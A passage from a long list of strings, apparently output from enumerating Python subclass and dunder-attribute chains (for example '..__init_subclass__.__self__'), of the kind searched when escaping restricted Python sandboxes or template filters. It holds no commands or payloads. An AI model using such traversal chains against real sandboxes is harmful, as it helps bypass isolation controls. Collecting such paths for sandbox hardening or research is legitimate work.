"Subclass 108: ..decode.__hash__.__self__", "Subclass 138: ..__await__.__init__.__self__", "Subclass 174: ..__set_name__.__le__.__self__", "Subclass 185: ..tell.__lt__.__self__", "Subclass 164: ..repr_str.__call__.__self__", "Subclass 93: ..is_package.__subclasshook__.__self__", "Subclass 96: ..get_code.__le__.__self__", "Subclass 95: .._recalculate.__str__.__self__", "Subclass 108: ..getstate.__init_subclass__.__self__", "Subclass 175: ..__call__.__subclasshook__.__self__", "Subclass 81: ..release.__repr__.__objclass__", "Subclass 110: ..__weakref__.__objclass__.reset", "Subclass 109: ..readlines.__new__.__self__", "Subclass 108: ..reset.__le__.__self__", "Subclass 94: ..is_resource.__eq__.__self__", "Subclass 108: ..setstate.__call__.__objclass__", "Subclass 105: ..contents.__ne__.__self__", "Subclass 95: ..__init__.__delattr__.__self__", "Subclass 109: ..readline.__setattr__.__self__", "Subclass 185: ..error", "Subclass 184: ..__len__.__gt__.__self__", "Subclass 110: ..write.__init_subclass__.__self__", "Subclass 138: ..send.__delattr__.__self__", "Subclass 198: ..module_repr.__reduce_ex__.__self__", "Subclass 177: .._push_exit_callback.__repr__.__objclass__", "Subclass 112: ..__class__._abc_registry_clear", "Subclass 80: ..__init__.__hash__.__self__", "Subclass 164: ..repr_tuple.__reduce_ex__.__self__", "Subclass 177: .._push_cm_exit.__get__.__self__", "Subclass 107: ..getstate.__get__.__self__", "Subclass 104: ..get_data.__class__", "Subclass 109: ..read.__reduce__.__self__", "Subclass 95: .._recalculate.__getattribute__.__self__", "Subclass 93: ..is_package.__repr__.__objclass__", "Subclass 133: ..close.__hash__.__self__", "Subclass 119: ..__subclasshook__.__self__.__iter__", "Subclass 80: ..has_deadlock.__dir__.__self__", "Subclass 137: ..getter.__ne__.__self__", "Subclass 172: ..__repr__.__get__.__objclass__", "Subclass 195: ..TextIO.readable.__class__", "Subclass 133: ..__exit__.__reduce__.__self__", "Subclass 176: ..__init__.__class__", "Subclass 133: ..__init__.__hash__.__self__", "Subclass 185: ..__subclasshook__.__self__.seek", "Subclass 184: ..getwidth.__get__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_resource_reader", "Subclass 95: ..__weakref__.__objclass__.__len__", "Subclass 83: ..__repr__.__new__.__self__", "Subclass 96: ..get_source.__ne__.__self__", "Subclass 174: ..__init__.__reduce_ex__.__self__", "Subclass 133: ..__exit__.__call__.__self__", "Subclass 109: ..read.__ne__.__self__", "Subclass 185: ..__init__.__eq__.__self__", "Subclass 83: ..__repr__.__ge__.__self__", "Subclass 104: ..get_data.__format__.__self__", "Subclass 104: ..get_resource_reader.__getattribute__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_set", "Subclass 97: .._legacy_get_spec.__func__.__class__", "Subclass 95: ..__setitem__", "Subclass 94: ..resource_path.__lt__.__self__", "Subclass 183: ..closegroup", "Subclass 199: ..contents.__str__.__self__", "Subclass 109: ..readlines.__call__.__objclass__", "Subclass 110: ..__subclasshook__.__self__.readlines", "Subclass 177: .._push_exit_callback.__get__.__objclass__", "Subclass 97: .._path_importer_cache.__func__", "Subclass 95: ..__getitem__.__repr__.__objclass__", "Subclass 183: ..checkgroup.__init__.__self__", "Subclass 94: ..resource_path.__call__.__self__", "Subclass 104: ..is_package.__setattr__.__self__", "Subclass 109: ..__init__.__call__.__self__", "Subclass 87: ..__exit__.__setattr__.__self__", "Subclass 188: ..__copy__.__str__.__self__", "Subclass 104: ..get_code.__ne__.__self__", "Subclass 98: ..invalidate_caches.__reduce_ex__.__self__", "Subclass 93: ..is_package.__init__.__self__", "Subclass 177: ..pop_all.__repr__.__self__", "Subclass 80: ..__repr__.__dir__.__self__", "Subclass 185: ..seek.__repr__.__self__", "Subclass 95: ..__weakref__.__objclass__.append", "Subclass 104: ..__repr__.__ge__.__self__", "Subclass 137: ..__get__.__reduce__.__self__", "Subclass 107: ..__init_subclass__.__self__.encode", "Subclass 164: ..repr_frozenset.__call__.__self__", "Subclass 109: ..reset.__get__.__objclass__", "Subclass 198: ..create_module.__get__.__self__", "Subclass 138: ..__weakref__.__objclass__.__iter__", "Subclass 95: ..__len__.__hash__.__self__", "Subclass 136: ..__repr__.__get__.__objclass__", "Subclass 174: ..__get__.__hash__.__self__", "Subclass 136: ..__weakref__.__objclass__.__repr__", "Subclass 177: ..__init__.__sizeof__.__self__", "Subclass 104: ..get_resource_reader.__eq__.__self__", "Subclass 96: ..__subclasshook__.__self__.exec_module", "Subclass 175: .._recreate_cm.__hash__.__self__", "Subclass 133: ..close.__call__.__self__", "Subclass 82: ..__init__.__reduce__.__self__", "Subclass 174: ..__set_name__.__gt__.__self__", "Subclass 95: .._find_parent_path_names.__new__.__self__", "Subclass 184: ..getwidth.__delattr__.__self__", "Subclass 137: ..__weakref__.__objclass__.__get__", "Subclass 80: ..release.__sizeof__.__self__", "Subclass 109: ..__init_subclass__.__self__.__enter__", "Subclass 172: ..__repr__.__getattribute__.__self__", "Subclass 185: ..getuntil.__hash__.__self__", "Subclass 172: ..__init__", "Subclass 96: ..get_code.__subclasshook__.__self__", "Subclass 184: ..__delitem__.__gt__.__self__", "Subclass 94: ..load_module", "Subclass 184: ..getwidth.__ne__.__self__", "Subclass 80: ..acquire.__dir__.__self__", "Subclass 177: .._create_exit_wrapper.__repr__.__objclass__", "Subclass 94: ..__weakref__.__objclass__.__eq__", "Subclass 110: ..__iter__.__delattr__.__self__", "Subclass 198: ..module_repr.__ge__.__self__", "Subclass 164: ..repr_int.__get__.__self__", "Subclass 104: ..find_module.__le__.__self__", "Subclass 95: .._find_parent_path_names.__eq__.__self__", "Subclass 186: ..__init__.__str__.__self__", "Subclass 110: ..__init__.__reduce_ex__.__self__", "Subclass 81: ..__repr__", "Subclass 115: ..__class__.__new__.__class__", "Subclass 177: .._create_cb_wrapper.__format__.__self__", "Subclass 95: ..__contains__.__sizeof__.__self__", "Subclass 93: ..is_package", "Subclass 137: ..setter.__reduce__.__self__", "Subclass 172: ..__repr__.__hash__.__self__", "Subclass 108: ..setstate.__init_subclass__.__self__", "Subclass 184: ..__getitem__.__str__.__self__", "Subclass 94: ..get_data.__repr__.__objclass__", "Subclass 104: ..find_module.__dir__.__self__", "Subclass 96: ..__init__.__ge__.__self__", "Subclass 199: ..is_resource.__repr__.__objclass__", "Subclass 93: ..exec_module.__subclasshook__.__self__", "Subclass 164: ..repr1.__init_subclass__.__self__", "Subclass 117: ..__class__.__instancecheck__", "Subclass 97: ..find_spec.__func__.__class__", "Subclass 95: ..append.__get__.__objclass__", "Subclass 81: ..__repr__.__repr__.__objclass__", "Subclass 198: ..create_module.__ge__.__self__", "Subclass 81: ..release.__subclasshook__.__self__", "Subclass 108: ..__weakref__.__objclass__.getstate", "Subclass 136: ..__repr__.__init__.__self__", "Subclass 172: ..__init__.__ge__.__self__", "Subclass 115: ..__class__.__instancecheck__", "Subclass 184: ..__delitem__.__getattribute__.__self__", "Subclass 130: ..__class__.__instancecheck__.__class__", "Subclass 105: ..contents.__format__.__self__", "Subclass 140: ..__repr__.__ge__.__self__", "Subclass 185: ..__init__.__str__.__self__", "Subclass 98: ..__weakref__.__objclass__._get_spec", "Subclass 133: ..__iter__.__reduce_ex__.__self__", "Subclass 108: ..reset.__format__.__self__", "Subclass 134: ..__subclasshook__.__self__.__repr__", "Subclass 108: ..decode", "Subclass 80: ..acquire.__get__.__objclass__", "Subclass 164: ..repr_deque.__dir__.__self__", "Subclass 96: ..is_package.__dir__.__self__", "Subclass 95: ..__repr__.__repr__.__objclass__", "Subclass 110: ..__init__.__subclasshook__.__self__", "Subclass 137: ..setter.__repr__.__self__", "Subclass 80: ..release.__hash__.__self__", "Subclass 107: ..setstate.__format__.__self__", "Subclass 119: ..__class__.__subclasscheck__.__class__", "Subclass 174: ..__weakref__.__objclass__.__init__", "Subclass 185: ..__subclasshook__.__self__.getwhile", "Subclass 196: ..Match.__setattr__.__func__", "Subclass 96: ..is_package.__repr__.__self__", "Subclass 80: ..__repr__.__repr__.__objclass__", "Subclass 104: ..__init__.__hash__.__self__", "Subclass 106: ..decode.__le__.__self__", "Subclass 192: ..__new__.__call__.__objclass__", "Subclass 164: ..repr_array.__dir__.__self__", 'Global func 1: ..__class__.__new__.__self__', "Subclass 82: ..__init__.__init__.__self__", "Subclass 110: ..write.__reduce_ex__.__self__", "Subclass 164: ..repr_str.__call__.__objclass__", "Subclass 97: .._get_spec.__func__.__class__", "Subclass 93: ..exec_module.__reduce__.__self__", "Subclass 107: ..encode.__get__.__self__", "Subclass 93: ..is_package.__delattr__.__self__", "Subclass 109: ..readline.__getattribute__.__self__", "Subclass 107: ..getstate.__hash__.__self__", "Subclass 164: ..__init__.__gt__.__self__", "Subclass 95: ..__init__.__call__.__self__", "Subclass 195: ..TextIO.close", "Subclass 177: ..enter_context.__gt__.__self__", "Subclass 94: ..__init__.__call__.__objclass__", "Subclass 179: ..__class__.__getitem__.__class__", "Subclass 164: ..repr_instance.__class__", "Subclass 106: ..decode.__init_subclass__.__self__", "Subclass 96: ..exec_module.__format__.__self__", "Subclass 87: ..__exit__.__get__.__self__", "Subclass 105: ..contents.__delattr__.__self__", "Subclass 186: ..__init_subclass__.__self__.scan", "Subclass 109: ..__getattr__.__class__", "Subclass 107: ..encode.__call__.__self__", "Subclass 93: ..create_module.__repr__.__self__", "Subclass 140: ..__exit__.__lt__.__self__", "Subclass 164: ..repr_deque.__call__.__objclass__", "Subclass 105: ..contents.__call__.__self__", "Subclass 172: ..__init__.__gt__.__self__", "Subclass 104: ..get_source.__new__.__self__", "Subclass 131: ..__contains__.__dir__.__self__", "Subclass 96: ..get_source.__format__.__self__", "Subclass 137: ..__init_subclass__.__self__.__init__", "Subclass 110: ..writelines.__get__.__objclass__", "Subclass 104: ..is_package", "Subclass 80: ..release.__format__.__self__", "Subclass 109: ..readlines.__get__.__self__", "Subclass 107: ..__init__.__call__.__objclass__", 'Global func 1: ..__init_subclass__.__self__', "Subclass 196: ..Match.__instancecheck__.__func__", "Subclass 81: ..__init__.__call__.__self__", "Subclass 96: ..get_source.__class__", "Subclass 96: ..__init_subclass__.__self__.get_code", "Subclass 119: ..__iter__.__hash__.__self__", "Subclass 87: ..__exit__.__call__.__self__", "Subclass 109: ..reset.__hash__.__self__", "Subclass 94: ..resource_path.__gt__.__self__", "Subclass 140: ..__repr__.__hash__.__self__", "Subclass 137: ..__delete__.__repr__.__objclass__", "Subclass 196: ..Match.__getitem__.__func__", "Subclass 134: ..__call__.__get__.__self__", "Subclass 80: ..__repr__.__format__.__self__", "Subclass 87: ..__enter__.__call__.__self__", "Subclass 95: ..__getitem__.__format__.__self__", "Subclass 184: ..getwidth.__getattribute__.__self__", "Subclass 112: ..__class__.__instancecheck__", "Subclass 82: ..__init__.__repr__.__objclass__", "Subclass 188: ..__copy__.__subclasshook__.__self__", "Subclass 93: ..is_package.__new__.__self__", "Subclass 135: ..__subclasshook__.__self__.__call__", "Subclass 184: ..__delitem__.__eq__.__self__", "Subclass 115: ..__await__.__init__.__self__", "Subclass 174: ..__init__.__sizeof__.__self__", "Subclass 109: ..__subclasshook__.__self__.read", "Subclass 39: ..__repr__.__objclass__", "Subclass 164: ..repr1.__repr__.__self__", "Subclass 135: ..__init_subclass__.__self__.__repr__", "Subclass 164: ..repr.__new__.__self__", "Subclass 131: ..__subclasshook__.__self__.__contains__", "Subclass 185: ..seek.__format__.__self__", "Subclass 137: ..__delete__.__le__.__self__", "Subclass 93: ..load_module.__sizeof__.__self__", "Subclass 110: ..__init__.__get__.__self__", "Subclass 138: ..__await__.__get__.__self__", "Subclass 138: ..close.__get__.__objclass__", "Subclass 114: ..__init_subclass__.__self__.__hash__", "Subclass 105: ..resource_path.__ge__.__self__", "Subclass 109: ..__iter__.__get__.__objclass__", "Subclass 110: ..reset", "Subclass 186: ..__init__.__hash__.__self__", "Subclass 110: ..__weakref__.__objclass__.readlines", "Subclass 109: ..__next__.__repr__.__objclass__", "Subclass 119: ..__iter__.__format__.__self__", "Subclass 164: ..repr_instance.__format__.__self__", "Subclass 94: ..open_resource.__get__.__self__", "Subclass 196: ..Match.__class__.__init__", "Subclass 108: ..decode.__get__.__objclass__", "Subclass 114: ..__class__.__new__", "Subclass 184: ..__delitem__.__init__.__self__", "Subclass 104: ..get_resource_reader.__ge__.__self__", "Subclass 177: ..__init__.__str__.__self__", "Subclass 195: ..TextIO.__exit__.__class__", "Subclass 84: ..is_package.__func__.__class__", "Subclass 198: ..create_module.__le__.__self__", "Subclass 138: ..__next__.__repr__.__objclass__", "Subclass 173: ..register.__eq__.__self__", "Subclass 104: ..get_code.__format__.__self__", "Subclass 196: ..Match.__class__.__getattr__", "Subclass 185: ..error.__setattr__.__self__", "Subclass 177: .._push_cm_exit.__getattribute__.__self__", "Subclass 164: ..repr_int.__reduce_ex__.__self__", "Subclass 104: ..get_source.__le__.__self__", "Subclass 94: ..__weakref__.__objclass__.__hash__", "Subclass 173: ..__init__.__delattr__.__self__", "Subclass 95: ..__iter__.__eq__.__self__", "Subclass 84: ..module_repr.__class__", "Subclass 179: ..__class__.__reversed__.__class__", "Subclass 184: ..__repr__.__lt__.__self__", "Subclass 183: ..__init_subclass__.__self__.__init__", "Subclass 98: ..__init_subclass__.__self__._fill_cache", "Subclass 110: ..__exit__.__get__.__self__", "Subclass 140: ..__enter__.__eq__.__self__", "Subclass 198: ..load_module.__init_subclass__.__self__", "Subclass 93: ..create_module.__reduce_ex__.__self__", "Subclass 95: ..append.__hash__.__self__", "Subclass 164: ..repr_deque.__new__.__self__", "Subclass 98: .._fill_cache.__gt__.__self__", "Subclass 86: ..is_package.__self__.module_repr", "Subclass 96: ..get_source.__hash__.__self__", "Subclass 195: ..TextIO.seekable.__class__", "Subclass 80: ..__init__.__class__", "Subclass 186: ..scan.__eq__.__self__", "Subclass 110: ..seek.__init_subclass__.__self__", "Subclass 105: ..open_resource.__format__.__self__", "Subclass 195: ..TextIO.truncate.__class__", "Subclass 117: ..__aiter__.__delattr__.__self__", 'Global func 1: .', "Subclass 95: ..__repr__.__format__.__self__", "Subclass 183: ..__init__.__subclasshook__.__self__", "Subclass 199: ..resource_path.__eq__.__self__", "Subclass 179: ..__class__.__repr__.__class__", "Subclass 95: ..__getitem__.__reduce__.__self__", "Subclass 173: ..__get__.__repr__.__self__", "Subclass 138: ..close.__setattr__.__self__", "Subclass 104: ..get_data.__dir__.__self__", "Subclass 175: .._recreate_cm.__repr__.__objclass__", "Subclass 105: ..open_resource.__new__.__self__", "Subclass 108: ..__init__.__le__.__self__", "Subclass 136: ..__call__", "Subclass 104: ..get_data", "Subclass 133: ..close.__class__", "Subclass 94: ..__init__.__le__.__self__", "Subclass 135: ..__init__.__subclasshook__.__self__", "Subclass 96: ..create_module.__hash__.__self__", "Subclass 96: ..get_code.__repr__.__self__", "Subclass 98: ..__init__.__class__", "Subclass 110: ..write.__delattr__.__self__", "Subclass 137: ..__set__.__init_subclass__.__self__", "Subclass 109: ..seek.__eq__.__self__", "Subclass 176: ..__init__.__hash__.__self__", "Subclass 195: ..TextIO.fileno", "Subclass 137: ..__set__.__call__.__objclass__", "Subclass 185: ..getwhile.__call__.__objclass__", "Subclass 138: ..close", "Subclass 108: ..getstate.__subclasshook__.__self__", "Subclass 94: ..get_resource_reader.__setattr__.__self__", "Subclass 94: ..is_resource.__call__.__self__", "Subclass 138: ..__await__", "Subclass 39: ..__call__.__objclass__", "Subclass 134: ..__init__.__init_subclass__.__self__", "Subclass 198: ..create_module.__hash__.__self__", "Subclass 137: ..__delete__.__new__.__self__", "Subclass 185: ..getuntil.__class__", "Subclass 94: ..open_resource.__init__.__self__", "Subclass 185: ..getuntil", "Subclass 199: ..__class__._dump_registry", "Subclass 184: ..__init_subclass__.__self__.__getitem__", "Subclass 80: ..__init__.__get__.__objclass__", "Subclass 108: ..__init__.__class__", "Subclass 81: ..release.__delattr__.__self__", "Subclass 105: ..is_resource.__repr__.__objclass__", "Subclass 104: ..__weakref__.__objclass__.get_code", "Subclass 133: ..__getattr__.__ge__.__self__", "Subclass 109: ..__getattr__.__delattr__.__self__", "Subclass 84: ..module_repr.__ge__.__self__", "Subclass 114: ..__hash__.__init_subclass__.__self__", "Subclass 93: ..create_module.__init__.__self__", "Subclass 133: ..__init__.__repr__.__objclass__", "Subclass 184: ..__len__.__format__.__self__", "Subclass 177: .._create_cb_wrapper.__call__.__objclass__", "Subclass 105: ..open_resource.__gt__.__self__", "Subclass 132: ..__call__.__get__.__self__", "Subclass 104: ..find_loader.__hash__.__self__", "Subclass 109: ..readline.__class__", "Subclass 185: .._Tokenizer__next.__init__.__self__", "Subclass 98: ..invalidate_caches.__call__.__self__", "Subclass 105: ..__init__.__str__.__self__", "Subclass 114: ..__hash__.__class__", "Subclass 137: ..__get__.__init__.__self__", "Subclass 164: ..repr.__repr__.__objclass__", "Subclass 185: ..getwhile.__ge__.__self__", "Subclass 109: ..__getattr__.__get__.__self__", "Subclass 177: ..push.__get__.__objclass__", "Subclass 96: ..get_code.__str__.__self__", "Subclass 81: ..release.__str__.__self__", "Subclass 173: ..register.__call__.__self__", "Subclass 109: ..__iter__.__le__.__self__", "Subclass 135: ..__weakref__.__objclass__._Printer__setup", "Subclass 199: ..contents.__init__.__self__", "Subclass 193: ..__class__.__new__.__class__", "Subclass 109: ..writelines.__getattribute__.__self__", "Subclass 195: ..IO.__enter__.__class__", "Subclass 140: ..__init__.__repr__.__objclass__", "Subclass 164: ..__init__.__ne__.__self__", "Subclass 164: ..repr.__hash__.__self__", "Subclass 130: ..__len__.__new__.__self__", "Subclass 198: ..__subclasshook__.__self__.create_module", "Subclass 175: ..__weakref__.__objclass__.__call__", "Subclass 110: ..__next__.__repr__.__objclass__", "Subclass 97: ..find_distributions.__func__", "Subclass 133: ..__init__.__sizeof__.__self__", "Subclass 109: ..read.__setattr__.__self__", "Subclass 164: ..__init__.__reduce__.__self__", "Subclass 95: ..__len__.__call__.__objclass__", "Subclass 135: ..__subclasshook__.__self__.__init__", "Subclass 108: ..reset.__getattribute__.__self__", "Subclass 109: ..__init__.__eq__.__self__", "Subclass 192: ..__new__", "Subclass 98: ..find_spec.__init__.__self__", "Subclass 104: ..__repr__.__setattr__.__self__", "Subclass 138: ..__weakref__.__objclass__.send", "Subclass 133: ..__exit__.__reduce_ex__.__self__", "Subclass 185: ..tell.__le__.__self__", "Subclass 95: ..__repr__.__class__", "Subclass 183: ..checklookbehindgroup.__delattr__.__self__", "Subclass 82: ..__exit__.__hash__.__self__", "Subclass 95: ..__len__.__get__.__self__", "Subclass 138: ..__init__.__get__.__self__", "Subclass 176: ..__init__", "Subclass 109: ..write.__get__.__self__", "Subclass 87: ..__enter__.__ne__.__self__", "Subclass 93: ..__subclasshook__.__self__.create_module", "Subclass 164: ..repr.__get__.__self__", "Subclass 96: ..load_module.__init_subclass__.__self__", "Subclass 173: ..__get__.__lt__.__self__", "Subclass 184: ..append.__call__.__self__", "Subclass 164: ..repr_int.__call__.__self__", "Subclass 184: ..__delitem__.__hash__.__self__", "Subclass 94: ..__eq__.__le__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_instance", "Subclass 185: ..match.__lt__.__self__", "Subclass 195: ..BinaryIO.__exit__", "Subclass 176: ..__init__.__gt__.__self__", "Subclass 184: ..__getitem__", "Subclass 117: ..__init_subclass__.__self__.__aiter__", "Subclass 108: ..reset.__subclasshook__.__self__", "Subclass 199: ..open_resource.__repr__.__self__", "Subclass 110: ..__init__.__format__.__self__", "Subclass 185: ..error.__eq__.__self__", "Subclass 164: ..repr_int.__sizeof__.__self__", "Subclass 95: .._find_parent_path_names.__repr__.__objclass__", "Subclass 183: ..__init__.__ge__.__self__", "Subclass 104: ..get_code.__lt__.__self__", "Subclass 133: ..__exit__.__dir__.__self__", "Subclass 138: ..throw.__ge__.__self__", "Subclass 184: ..insert.__dir__.__self__", "Subclass 177: ..enter_context.__get__.__self__", "Subclass 199: ..contents.__new__.__self__", "Subclass 177: ..callback.__init_subclass__.__self__", "Subclass 139: ..__str__", "Subclass 112: ..__class__.__new__.__class__", "Subclass 93: ..create_module.__get__.__objclass__", "Subclass 183: ..opengroup.__getattribute__.__self__", "Subclass 184: ..__weakref__.__objclass__.__delitem__", "Subclass 137: ..__subclasshook__.__self__.__set__", "Subclass 96: ..__init__.__get__.__self__", "Subclass 185: .._Tokenizer__next.__lt__.__self__", "Subclass 195: ..BinaryIO.tell", "Subclass 95: .._recalculate.__subclasshook__.__self__", "Subclass 173: ..__init__.__reduce__.__self__", "Subclass 196: ..Pattern.__subclasscheck__.__func__", "Subclass 135: ..__repr__.__dir__.__self__", "Subclass 95: ..__iter__.__get__.__self__", "Subclass 185: ..tell.__get__.__self__", "Subclass 115: ..__class__._dump_registry.__class__", "Subclass 117: ..__class__.__new__.__class__", "Subclass 198: ..module_repr.__repr__.__self__", "Subclass 174: ..__get__.__get__.__objclass__", "Subclass 94: ..is_resource.__delattr__.__self__", "Subclass 140: ..__init__.__get__.__objclass__", "Subclass 132: ..__call__.__reduce_ex__.__self__", "Subclass 192: ..__new__.__hash__.__self__", "Subclass 185: ..tell.__get__.__objclass__", "Subclass 177: ..__subclasshook__.__self__._create_cb_wrapper", "Subclass 185: ..getwhile.__sizeof__.__self__", "Subclass 96: ..load_module.__format__.__self__", "Subclass 172: ..__class_getitem__.__self__.__init__", "Subclass 104: ..get_filename.__sizeof__.__self__", "Subclass 109: ..write.__reduce_ex__.__self__", "Subclass 110: ..write.__ge__.__self__", "Subclass 80: ..acquire.__ne__.__self__", "Subclass 93: ..is_package.__repr__.__self__", "Subclass 179: ..__class__.__delattr__", "Subclass 184: ..__delitem__.__ne__.__self__", "Subclass 133: ..__iter__.__setattr__.__self__", "Subclass 172: ..__get__.__le__.__self__", "Subclass 108: ..__weakref__.__objclass__.decode", "Subclass 94: ..__init__.__get__.__objclass__", "Subclass 177: ..__init_subclass__.__self__.push", "Subclass 106: ..decode.__init__.__self__", "Subclass 138: ..throw.__delattr__.__self__", "Subclass 107: ..getstate.__getattribute__.__self__", "Subclass 110: ..seek.__ge__.__self__", "Subclass 82: ..__enter__.__repr__.__objclass__", "Subclass 183: ..checkgroup.__delattr__.__self__", "Subclass 94: ..__init_subclass__.__self__.open_resource", "Subclass 131: ..__contains__.__subclasshook__.__self__", "Subclass 98: ..invalidate_caches.__lt__.__self__", "Subclass 185: ..tell.__ge__.__self__", "Subclass 104: ..find_module.__ne__.__self__", "Subclass 184: ..dump.__str__.__self__", "Subclass 105: ..resource_path.__sizeof__.__self__", "Subclass 199: ..contents.__ne__.__self__", "Subclass 98: .._fill_cache.__setattr__.__self__", "Subclass 177: ..__init__.__new__.__self__", "Subclass 95: ..__init__.__getattribute__.__self__", "Subclass 83: ..__eq__.__new__.__self__", "Subclass 109: ..__enter__.__repr__.__self__", "Subclass 183: ..opengroup.__eq__.__self__", "Subclass 110: ..seek.__get__.__self__", "Subclass 81: ..__init_subclass__.__self__.acquire", "Subclass 96: ..get_source.__init_subclass__.__self__", "Subclass 108: ..setstate.__str__.__self__", "Subclass 109: ..seek.__ne__.__self__", "Subclass 177: .._create_cb_wrapper.__call__.__self__", "Subclass 177: .._push_exit_callback.__call__.__self__", "Subclass 184: ..__getitem__.__ne__.__self__", "Subclass 87: ..__enter__.__eq__.__self__", "Subclass 133: ..__exit__.__lt__.__self__", "Subclass 186: ..__init__.__getattribute__.__self__", "Subclass 109: ..__init__.__getattribute__.__self__", "Subclass 104: ..is_package.__dir__.__self__", "Subclass 94: ..__init__.__str__.__self__", "Subclass 107: ..reset.__getattribute__.__self__", "Subclass 139: ..__init__.__new__.__self__", "Subclass 174: ..__init__.__call__.__self__", "Subclass 164: ..repr_array.__ge__.__self__", "Subclass 188: ..__deepcopy__.__reduce_ex__.__self__", "Subclass 95: ..__iter__.__reduce_ex__.__self__", "Subclass 183: ..checkgroup", "Subclass 80: ..release.__repr__.__objclass__", "Subclass 164: ..repr_str.__hash__.__self__", "Subclass 185: .._Tokenizer__next.__reduce_ex__.__self__", "Subclass 86: ..get_code.__func__.__class__", "Subclass 137: ..setter.__new__.__self__", "Subclass 94: ..load_module.__dir__.__self__", 'Global func 1: ..__delattr__.__self__.__class__', "Subclass 164: ..__weakref__.__objclass__.repr_array", "Subclass 80: ..__init__.__call__.__objclass__", "Subclass 110: ..__init__.__repr__.__objclass__", "Subclass 95: ..__weakref__.__objclass__.__setitem__", "Subclass 164: ..repr_str.__init__.__self__", "Subclass 109: ..__exit__.__hash__.__self__", "Subclass 137: ..setter.__hash__.__self__", "Subclass 185: ..seek.__reduce__.__self__", "Subclass 135: ..__repr__.__call__.__self__", "Subclass 198: ..load_module", "Subclass 114: ..__class__.__instancecheck__", "Subclass 94: ..contents.__lt__.__self__", "Subclass 104: ..get_data.__get__.__objclass__", "Subclass 184: ..__weakref__.__objclass__.dump", "Subclass 109: ..__iter__.__getattribute__.__self__", "Subclass 104: ..get_data.__eq__.__self__", "Subclass 177: .._push_cm_exit.__call__.__objclass__", "Subclass 177: .._create_cb_wrapper.__get__.__self__", "Subclass 95: ..__setitem__.__subclasshook__.__self__", "Subclass 176: ..__init__.__call__.__self__", "Subclass 173: ..register.__gt__.__self__", "Subclass 140: ..__enter__.__init_subclass__.__self__", "Subclass 110: ..__exit__.__lt__.__self__", "Subclass 98: ..find_module.__ge__.__self__", "Subclass 164: ..repr1.__repr__.__objclass__", "Subclass 135: .._Printer__setup.__call__.__objclass__", "Subclass 140: ..__weakref__.__objclass__.__init__", "Subclass 175: .._recreate_cm.__subclasshook__.__self__", "Subclass 186: ..__init__.__dir__.__self__", "Subclass 110: ..__exit__.__format__.__self__", "Subclass 185: ..seek.__str__.__self__", "Subclass 93: ..__subclasshook__.__self__.exec_module", "Subclass 98: ..invalidate_caches.__repr__.__objclass__", "Subclass 115: ..__class__.__new__", "Subclass 114: ..__hash__.__getattribute__.__self__", "Subclass 134: ..__init__.__setattr__.__self__", "Subclass 93: ..exec_module.__new__.__self__", "Subclass 188: ..__deepcopy__.__call__.__objclass__", "Subclass 80: ..__repr__.__call__.__objclass__", "Subclass 82: ..__init__.__hash__.__self__", "Subclass 109: ..readline.__reduce_ex__.__self__", "Subclass 93: ..exec_module.__le__.__self__", "Subclass 184: ..__setitem__.__reduce_ex__.__self__", "Subclass 104: ..get_code.__hash__.__self__", "Subclass 119: ..__iter__.__setattr__.__self__", "Subclass 164: ..repr_deque", "Subclass 80: ..has_deadlock.__ge__.__self__", "Subclass 108: ..reset.__ge__.__self__", "Subclass 110: ..__exit__.__get__.__objclass__", "Subclass 115: ..__await__.__init_subclass__.__self__", "Subclass 164: ..repr_tuple.__class__", "Subclass 196: ..Match.__class__.__getitem__", "Subclass 135: ..__init_subclass__.__self__._Printer__setup", "Subclass 138: ..send.__repr__.__self__", "Subclass 164: ..repr_dict.__dir__.__self__", "Subclass 188: ..__copy__.__get__.__objclass__", "Subclass 185: ..error.__lt__.__self__", "Subclass 134: ..__repr__.__reduce__.__self__", "Subclass 119: ..__iter__.__new__.__self__", "Subclass 83: ..__repr__", 'Global func 1: ..__subclasshook__.__self__', "Subclass 164: ..repr_list.__class__", "Subclass 110: ..__getattr__.__init_subclass__.__self__", "Subclass 82: ..__enter__.__reduce__.__self__", "Subclass 93: ..load_module.__format__.__self__", 'Global func 1: ..__class__.__subclasshook__.__self__', "Subclass 198: ..load_module.__class__", "Subclass 94: ..get_resource_reader.__le__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_tuple", "Subclass 109: ..__init__.__repr__.__self__", "Subclass 133: ..close.__subclasshook__.__self__", "Subclass 114: ..__hash__.__repr__.__objclass__", "Subclass 98: .._get_spec.__ne__.__self__", "Subclass 96: ..exec_module.__get__.__self__", "Subclass 107: ..reset.__str__.__self__", "Subclass 140: ..__init__.__call__.__objclass__", "Subclass 105: ..__weakref__.__objclass__.__init__", "Subclass 175: .._recreate_cm.__getattribute__.__self__", "Subclass 95: .._recalculate.__ge__.__self__", "Subclass 195: ..IO.fileno", "Subclass 183: ..closegroup.__class__", "Subclass 82: ..__enter__.__delattr__.__self__", "Subclass 185: ..tell.__delattr__.__self__", "Subclass 114: ..__hash__.__sizeof__.__self__", "Subclass 186: ..scan.__getattribute__.__self__", "Subclass 137: ..setter.__init__.__self__", "Subclass 93: ..create_module.__ne__.__self__", "Subclass 110: ..__init_subclass__.__self__.reset", "Subclass 81: ..__init__.__reduce_ex__.__self__", "Subclass 186: ..scan.__reduce__.__self__", "Subclass 109: ..readlines.__str__.__self__", "Subclass 139: ..__init__.__eq__.__self__", "Subclass 188: ..__deepcopy__", "Subclass 185: ..__init__.__subclasshook__.__self__", "Subclass 197: ..find_module.__class__", "Subclass 185: ..__init__.__reduce_ex__.__self__", "Subclass 96: ..get_source.__get__.__self__", "Subclass 98: ..find_spec.__init_subclass__.__self__", "Subclass 137: ..setter.__eq__.__self__", "Subclass 104: ..get_resource_reader.__le__.__self__", "Subclass 175: ..__call__.__ne__.__self__", "Subclass 105: ..open_resource.__ne__.__self__", "Subclass 136: ..__call__.__hash__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_source", "Subclass 183: ..checklookbehindgroup.__reduce__.__self__", "Subclass 106: ..decode.__hash__.__self__", "Subclass 80: ..release.__delattr__.__self__", "Subclass 80: ..release.__subclasshook__.__self__", "Subclass 140: ..__repr__.__sizeof__.__self__", 'Global func 1: ..__dir__.__self__', "Subclass 198: ..create_module.__delattr__.__self__", "Subclass 186: ..__init__.__subclasshook__.__self__", "Subclass 177: ..callback.__gt__.__self__", "Subclass 96: ..load_module.__lt__.__self__", "Subclass 108: ..getstate.__init__.__self__", "Subclass 132: ..__call__.__str__.__self__", "Subclass 104: ..__repr__.__init_subclass__.__self__", 